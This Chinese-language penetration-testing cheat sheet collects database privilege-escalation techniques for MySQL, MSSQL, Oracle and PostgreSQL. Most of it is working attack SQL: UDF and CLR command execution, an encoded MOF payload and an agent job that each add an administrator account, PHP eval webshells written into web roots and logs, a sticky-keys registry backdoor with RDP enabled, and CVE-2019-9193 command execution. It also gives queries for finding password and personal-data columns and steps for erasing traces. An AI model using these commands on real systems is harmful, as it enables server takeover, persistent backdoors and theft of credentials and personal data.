文章目录
MySQL
0x01 UDF提权
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充。
假设UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(当MySQL>5.1,该目录默认不存在)。在 udf.dll 文件中,定义名为 sys_eval()
的 MySQL 函数,该函数可以执行系统任意命令。但是现在打开 MySQL 命令行,使用 select sys_eval('whoami');
的话,系统会返回 sys_eval()
函数未定义。因为仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类是用不了的。
所以,应该把 udf.dll 中的自定义函数引入进来,官方文档语法:
create function sys_eval returns string soname 'udf.dll';
// function_name(函数名) shared_library_name(共享包名称)
注:
- 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
- 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建,可用NTFS ADS流模式突破进而创建文件夹)。
利用条件:
- secure-file-priv 不为NULL
- 存在\lib\plugin目录
利用步骤:
确定secure_file_priv
参数,值为NULL则无法提权:
secure_file_priv
是用来限制 load dumpfile
、into outfile
、load_file()
函数在哪个目录下拥有上传或者读取文件的权限.
show global variables like '%secure%';
值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
PS:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
创建远程登陆用户并授权。
secure_file_priv
的值可以在MySQL数据库的安装目录的 my.ini 文件中配置:
没有具体值,则可以写入导出文件:
确定mysql版本,对应udf.dll版本:
show variables like "%version%";
这里的udf文件使用的sqlmap自带的,为了防止误杀做过编码,需要先经过解码:
python3 cloak.py -d -i D:\tools\sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数:
sys_eval // 执行任意命令,并将输出返回。
sys_exec // 执行任意命令,并将退出码返回。
sys_get // 获取一个环境变量。
sys_set // 创建或修改一个环境变量。
将udf.dll代码的16进制数声明给my_udf_a变量:
use mysql;
set @my_udf_a=concat('',dll的16进制);
建表my_udf,字段为data,类型为longblob,并将@ my_udf_a变量插入表my_udf_data:
create table my_udf(data LONGBLOB);
insert into my_udf values("");update my_udf set data = @my_udf_a;
查看udf.dll的导出路径:
show variables like '%plugin%';
将udf.dll导出:
select data from my_udf into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
创建cmd function,创建好的函数在mysql.func表中可以看到:
create function sys_eval returns string soname 'udf.dll';
命令执行:
select sys_eval('whoami');
清除痕迹:
drop function sys_eval; // 删除函数
delete from mysql.func where name='sys_eval' // 删除函数
0x02 MOF提权
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
提权过程:
- 将mof上传至任意可读可写目录下,例如到C:\TEMP\下命名为:eval.mof。也就是:C:\TEMP\eval.mof
- 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行这个恶意的mof文件。
- 替换的sql语句:
select load_file('C:\TEMP\eval.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
利用条件:
- secure-file-priv参数为空
- mysql服务权限为管理员
- 目标系统是windows 2003及以下版本。
利用步骤:
生成mof文件:
pace("\.rootsubscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
导入nullevt.mof文件:
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:/Windows/system32/wbem/mof/nullevt.mof';
几分钟后便添加新账户。
0x03 写入Webshell
写入webshell到网站目录
利用条件:
- secure-file-priv参数为空或者为网站根路径
- 知道网站的绝对路径
- 用户具有写权限
查看当前用户是否具有写权限:
select user,file_priv from mysql.user;
写入一句话木马到网站目录:
select '<?php eval($_REQUEST[8]);?>' into outfile 'C:/phpstudy/PHPTutorial/WWW/shell.php';
写入webshell到全局日志general_log
利用条件: 知道网站的绝对路径
开启general_log:
set global general_log='on';
设置日志存放位置:
SET global general_log_file='C:/phpstudy/PHPTutorial/WWW/shell.php';
写入一句话到日志文件:
select '<?php eval($_REQUEST[8]);?>';
写入webshell到慢查询日志
利用条件: 知道网站的绝对路径
开启慢查询日志:
set global slow_query_log=1;
设置日志存放位置:
set global slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/shell.php';
写入一句话到慢查询日志文件:
select '<?php eval($_REQUEST[8]);?>' or sleep(11);
注:
- 因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志;
- 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
0x04 常用语句
查看数据库连接情况:
show processlist;
xx 库中所有字段名带 pass|pwd 的表:
select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%"
获取web应用账号密码:
select * from 库名.表名
查看xx 库中所有表,按字段数排序:
select table_name,table_rows from information_schema.tables where table_schema='xx' order by table_rows desc;
查看xx 库中所有字段名带个人信息的表:
select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"
MSSQL
0x01 xp_cmdshell提权
利用条件:
- 通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权(xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除)
- 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。(sql server默认就是system权限)
利用步骤:
判断当前是否为DBA权限,为1则可提权:
select is_srvrolemember('sysadmin');
开启xp_cmdshell组件(1开启,0关闭,关闭时从下往上依次关闭):
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell执行系统命令:
exec master..xp_cmdshell whoami;
关闭组件:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
0x02 sp_oacreate提权
利用条件:
- 已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)
- OLE Automation Procedures选项开启
sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言。
利用过程:
判断当前是否为DBA权限,为1则可以提权:
select is_srvrolemember('sysadmin');
开启Ole automation procedures:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
wscript.shell组件:
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
com组件:
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
关闭组件:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
0x03 xp_regwrite提权
利用条件:
- 未禁止注册表编辑(即写入功能)
- xp_regwrite启用
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
利用步骤:
开启组件:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;
RECONFIGURE;
利用regwrite函数修改组注册表进行劫持,写入粘滞键后门并开启3389:
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
检查是否劫持成功:
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
删除粘滞键键值:
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
0x04 JobAgent提权
利用条件:
- 拥有DBA权限
- 需要sqlserver代理(sqlagent)开启
创建一个任务task,并执行命令。
利用步骤:
尝试开启sqlagent:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
利用任务计划命令执行(无回显):
USE msdb;
EXEC dbo.sp_add_job @job_name = N'task'
EXEC sp_add_jobstep @job_name = N'task', @step_name = N'task', @subsystem = N'CMDEXEC', @command = N'net user hack hack /add &net localgroup administrators hack /add', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'task'
EXEC dbo.sp_start_job N'testjob';
0x05 CLR提权
CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。
利用条件:
- 拥有DBA权限;
- 开启CLR。
mssql中的C#扩展,有点像mysql中的udf提权
利用步骤:
尝试开启CLR:
exec sp_configure 'show advanced options','1';
reconfigure;
exec sp_configure 'clr enabled','1';
reconfigure;
exec sp_configure 'show advanced options','1';
导入CLR插件:
CREATE ASSEMBLY [MDATKit]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt(16进制dll)
创建CLR函数:
CREATE PROCEDURE [dbo].[kitmain]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]
命令执行:
exec kitmain 'cmdexec',N'whoami'
0x06 写入webshell
差异备份写入webshell
利用条件:
- 拥有DBA权限
- 知道的网站绝对路径
判断当前是否为DBA权限,为1则可以提权:
select is_srvrolemember('sysadmin');
利用差异备份写入一句话:
backup database 库名 to disk = 'C:\\phpStudy\\PHPTutorial\\WWW\\back.bak';
create table cybk([cmd] [image]);
insert into cybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
backup database library todisk='C:\\phpStudy\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;
日志备份写webshell
利用条件:
- 拥有DBA权限
- 知道的网站绝对路径
- 数据库已经备份过
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,相比较差异备份而言,使用Log备份文件会小的多。
判断当前是否为DBA权限,为1则可以提权:
select is_srvrolemember('sysadmin');
利用存储过程写入一句话(将WebShell的代码转换成ASCII码):
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'C:\\phpStudy\\PHPTutorial\\WWW\\cybk.php'
0x07 沙盒提权
利用条件:
- 拥有DBA权限
- sqlserver服务权限为system
- 服务器拥有jet.oledb.4.0驱动
利用步骤:
修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
命令执行
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("whoami")');
0x08 常用语句
查看xx数据库连接的IP
select DISTINCT client_net_address,local_net_address from sys.dm_exec_connections where Session_id IN (select session_id from sys.dm_exec_Sessions where host_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB_NAME(dbid) = 'xx'));
查询xx 库中所有字段名带 pass|pwd 的表:
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%')
获取WEB应用账号密码
select * from [库名].[dbo].表名
查询xx 库中所有表,按字段数排序
SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b.rows DESC
查询xx 库中所有字段名带个人信息的表
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')
Oracle
0x01 创建java函数提权
利用条件:
dba权限
利用步骤:
使用sqlplus连接(用navicat复现不成功):
system/system@192.168.1.12:1521/orcl
赋权:
begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end;
/
创建java代码:
create or replace and compile java source named exe_linux as
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.UnknownHostException;
public class Test
{
public static String list_cmd(String str){
Runtime runtime=Runtime.getRuntime();
StringBuffer enco = new StringBuffer();
enco.append("GBK");
try{
Process proc =runtime.exec(str);
InputStream inp_suc=proc.getInputStream();
InputStream inp_err=proc.getErrorStream();
BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString()));
BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString()));
String strLine;
while( (strLine=(bfr_suc.readLine())) != null){
System.out.println(strLine);
}
while( (strLine=(bfr_err.readLine())) != null){
System.out.println(strLine);
}
proc.destroy();
inp_suc.close();
inp_err.close();
}catch (Exception e) {
System.out.println("EXECUTE IS ERROR!");
System.out.println(e.getMessage());
}
return "";
}
/* public static void main(String[] args){
list_cmd(args[0]);
}
**/
}
/
创建存储过程:
create or replace procedure p_exe_linux(str varchar2) as language java
name 'Test.list_cmd(java.lang.String)';
/
命令执行:
SET SERVEROUTPUT ON
exec dbms_java.set_output(1111111111111);
EXEC P_EXE_LINUX('whoami');
0x02 写入webshell
利用条件:
dba权限
利用步骤:
首先建立一个ORACLE的目录对象指向网站目录:
create or replace directory IST0_DIR as 'C:/temp';
写入webshell文件:
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'webshell.php', 'W'); --指定为IST0_DIR 目录下面的
utl_file.put_line(isto_file, '<?=phpinfo();'); --写入字符串
utl_file.fflush(isto_file); --刷新缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
写入之后可以使用读操作把写入的文件内容读出来(需要使用sqlplus连接,因为Oracle 的DBMS_OUTPUT.PUT_LINE
语句在Navicat中没有显示结果的窗口 ):
set serveroutput on;
declare
isto_file utl_file.file_type;
fp_buffer varchar2(4000);
begin
isto_file := utl_file.fopen('IST0_DIR', 'webshell.php', 'R');
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file);
end;
0x03 常用语句
查看用户数据库连接的IP:
select username,program,machine,client_info,sys_context('userenv','ip_address') as ipadd from v$session s where username is not null order by username,program,machine;
用户库中所有字段名带 pass|pwd 的表:
SELECT * FROM USER_TAB_COLUMNS WHERE column_name LIKE '%PASS%' OR column_name LIKE '%PWD%';
获取web应用账号密码:
SELECT * FROM 库名.表名;
用户库中所有表,按字段数排序:
select t.table_name,t.num_rows from user_tables t ORDER BY NUM_ROWS DESC;
用户库中所有字段名带个人信息的表:
SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名')
PostgreSQL
0x01 写入webshell
利用条件:
- 拥有网站路径写入权限
- 知道网站绝对路径
利用步骤:
写入webshell到网站目录:
copy (select '<?php phpinfo();?>') to 'C:/temp/1.php';
0x02 CVE-2019-9193 高权限命令执行漏洞
利用条件:
- 版本9.3-11.2
- 超级用户或者
pg_read_server_files
组中的任何用户
这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是pg_read_server_files
组用户
利用步骤:
DROP TABLE IF EXISTS cmd_exec; // 删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); // 创建用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'whoami'; // 执行系统命令
SELECT * FROM cmd_exec; // 结果显示
参考链接:
http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_3556.html(三大数据库写入webshell)
https://blog.csdn.net/qq_36119192/article/details/84863268(Mysql UDF提权执行系统命令)
https://www.cnblogs.com/N0r4h/p/12889944.html(MSSQL提权)
https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA(数据库提权)